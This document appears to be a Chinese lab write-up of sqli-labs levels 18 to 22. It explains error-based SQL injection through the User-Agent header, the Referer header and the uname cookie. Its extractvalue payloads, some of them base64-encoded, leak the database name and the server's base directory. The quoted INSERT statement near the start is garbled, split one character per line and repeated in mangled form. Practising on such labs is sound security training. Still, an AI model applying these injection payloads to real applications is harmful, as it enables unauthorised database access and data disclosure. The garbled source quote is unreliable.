LESS-18
由于用户和密码都有check_input()处理,所以不能再用户和密码处进行注入,但是可以看出有insert语句
i
n
s
e
r
t
=
"
i
n
s
e
r
t
i
n
t
o
‘
s
e
c
u
r
i
t
y
‘
.
‘
u
a
g
e
n
t
s
‘
(
‘
u
a
g
e
n
t
‘
,
‘
i
p
a
d
d
r
e
s
s
‘
,
‘
u
s
e
r
n
a
m
e
‘
)
V
A
L
U
E
S
(
′
insert="insert into `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('
insert="insertinto‘security‘.‘uagents‘(‘uagent‘,‘ipaddress‘,‘username‘)VALUES(′uagent’,’$IP’, $uname)";
将 useragent 和 ip 插入到数据库中,那么我们是不是可以用这个来进行注入呢?
Ip 地址我们这里修改不是很方便,但是 useragent 修改较为方便,我们从 useragent 入手
在User-Agent处输入: 'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and ‘1’='1(用’1’=’1而不用#闭合的原因是防止后面插入的id密码等被注释掉,而and和前一个单引号闭合则1前的单引号与后一个单引号闭合(user-agent字符串的闭合单引号))
LESS-19
类比与18,可以得出在referers修改即可
Referer处输入:'and extractvalue(1,concat(0x7e,(select @@basedir),0x7e)) and ‘1’=‘1
LESS-20
源码:
由于用户名和密码都要进行check_input()处理,所以不能用用户名和密码进行报错。从源代码中我们可以看到 cookie 从 username 中获得值后,当再次刷新时,会从 cookie 中读
取 username,然后进行查询。登录成功后,我们修改 cookie,再次刷新时,这时候 sql 语句就会被修改了。
把cookie这改为uname=admin1’and extractvalue(1,concat(0x7e,(select @@basedir),0x7e)即可报错路径
同理报出数据库
Less-21
源码
我们这里可以利用 less20 同样的方法,但是需要将 payload 进行 base64 编码处理Uname=admin1’)andextractvalue(1,concat(0x7e,(select@@basedir),0x7e))#
进行base64编码后
uname=YWRtaW4xJylhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBAQGJhc2VkaXIpLDB4N2UpKSM=
爆出路径
LESS-22
源码:
由此可见,源码对“uname”进行了双引号闭合的方式,且cooKies需要进行base64编码
可以构造 payload:admin1"and extractvalue(1,concat(0x7e,(select database()),0x7e))#
再对Payload 进行 base64 编码后,修改 cookie 再进行提交